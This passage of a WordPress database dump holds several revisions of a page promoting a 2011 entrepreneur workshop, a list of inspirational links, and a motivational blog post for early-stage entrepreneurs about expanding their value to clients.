target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-22 14:01:30', '2010-10-22 21:01:30', '', 145, 'http://www.whitehotcenter.com/2010/10/22/145-revision-60/', 0, 'revision', '', 0),
(1188, 2, '2010-10-22 14:25:03', '2010-10-22 21:25:03', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31,  2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email Thomson Dawson.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-22 14:25:03', '2010-10-22 21:25:03', '', 145, 'http://www.whitehotcenter.com/2010/10/22/145-revision-61/', 0, 'revision', '', 0),
(1189, 2, '2010-10-22 14:41:38', '2010-10-22 21:41:38', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31,  2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson</a>.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-22 14:41:38', '2010-10-22 21:41:38', '', 145, 'http://www.whitehotcenter.com/2010/10/22/145-revision-62/', 0, 'revision', '', 0),
(1190, 2, '2010-10-22 14:43:22', '2010-10-22 21:43:22', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31,  2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson</a>.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-22 14:43:22', '2010-10-22 21:43:22', '', 145, 'http://www.whitehotcenter.com/2010/10/22/145-revision-63/', 0, 'revision', '', 0),
(1191, 2, '2010-10-22 14:57:43', '2010-10-22 21:57:43', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">To learn more–take the leap and download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. If you would like more information on earlier registration prior to the official workshop registration site going live in November 2010, call the office 805 640 3920, or email <a href="http://whc.fbdev.org/contact/" target="_blank">Thomson Dawson</a>.</span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-22 14:57:43', '2010-10-22 21:57:43', '', 145, 'http://www.whitehotcenter.com/2010/10/22/145-revision-64/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(1192, 2, '2010-10-24 17:16:09', '2010-10-25 00:16:09', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="expand your value in the world" width="446" height="335" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you''re an entrepreneur at the early stages of success, most likely you''ve pondered how best to get your business to the next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked with has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>', 'Create bigger opportunities by expanding your value.', 0, '', 'publish', 'open', 'open', '', 'create-bigger-opportunities-by-expanding-your-value', '', '', '2011-06-17 12:14:41', '2011-06-17 19:14:41', '', 0, 'http://www.whitehotcenter.com/?p=1192', 0, 'post', '', 0),
(1193, 2, '2010-10-24 15:06:52', '2010-10-24 22:06:52', '', 'opportunityvalue', 0, '', 'inherit', 'open', 'open', '', 'opportunityvalue', '', '', '2010-10-24 15:06:52', '2010-10-24 22:06:52', '', 1192, 'http://www.whitehotcenter.com/wp-content/uploads/2010/10/opportunityvalue.gif', 0, 'attachment', 'image/gif', 0),
(1194, 2, '2010-10-24 15:11:07', '2010-10-24 22:11:07', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you are an entrepreneur at the early stages of success, most likely you have pondered how to get to your next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\n\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\n\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\n\n<strong>Supply is infinite, time is finite.</strong>\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\n\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\n\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\n\n<strong>Make a big space in your life for big changes.</strong>\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\n\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\n\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\n\n<strong>Be really good and really different.</strong>\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\n\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\n\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\n\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  